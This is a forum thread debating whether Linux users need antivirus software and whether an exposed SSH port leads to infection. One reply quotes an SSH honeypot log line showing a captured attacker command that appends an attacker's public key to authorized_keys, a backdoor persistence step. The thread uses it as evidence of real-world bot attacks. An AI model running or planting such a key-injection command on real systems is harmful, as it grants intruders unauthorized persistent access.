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I have been using linux for almost 2 decades, never seen a virus. And I never heard of a colleague or friend who got one on Linux. That’s why no one has ever installed an antivirus, because, till now, the risk has been practically zero.

On windows, on the other hand, I saw so many viruses on friends and relatives computers…

People install antiviruses depending on the experience.

To be fair, we all know on Linux viruses exist, but is objectively pretty difficult to get one. It is not worth installing an antivirus if one doesn’t actively install garbage from untrusted sources

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peter@feddit.uk ⁨1⁩ ⁨year⁩ ago
It’s not any more difficult to get a virus on Linux than Windows. It comes down to experience as you said. I’ve been using Windows for my entire life and haven’t gotten a virus since I was 8. But all it takes is one mistake on both Windows and Linux, you accidentally leave a docker endpoint or ssh server exposed and insufficiently protected on Linux and you’re going to get a virus the same as if you accidentally opened a .pdf.exe on Windows.

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- Zeth0s@lemmy.world ⁨1⁩ ⁨year⁩ ago
  Not at all. You leave a ssh port open, you don’t get a virus. Try it. Set up a raspberry pi, install ssh and leave the port open in your firewall. It is much less risky than exposing rdp (the most comparable windows protocol) on windows for instance.
  
  It is a security risk, but absolutely not comparable of installing pdf.exe.
  
  As said, try it now and tell me how it goes.
  
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  - peter@feddit.uk ⁨1⁩ ⁨year⁩ ago
    Glad you asked, I run a ssh honeypot and get multiple connections adding ssh keys, trying to run lockr, downloading shit every day.
    
    2023-09-16T09:09:48+0000 [SSHChannel session (1) on SSHService b’ssh-connection’ on HoneyPotSSHTransport,14737,61.222.241.108] Command found: echo ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr >> .ssh/authorized_keys
    
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    Zeth0s@lemmy.world ⁨1⁩ ⁨year⁩ ago
    Does the attack succeed? Never happened to me. You see bot trying, but really never seen succeeding irl. How is it configured?
    
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    uranibaba@lemmy.world ⁨1⁩ ⁨year⁩ ago
    Running a honey pot for SSH and sharing logs only proves that people try to attack you, it does not really tell if SSH as such is vulnerable or not. It is a honey pot, people gaining access if the whole point.
    
    Having a locked down but exposed SSH access is something else.
    
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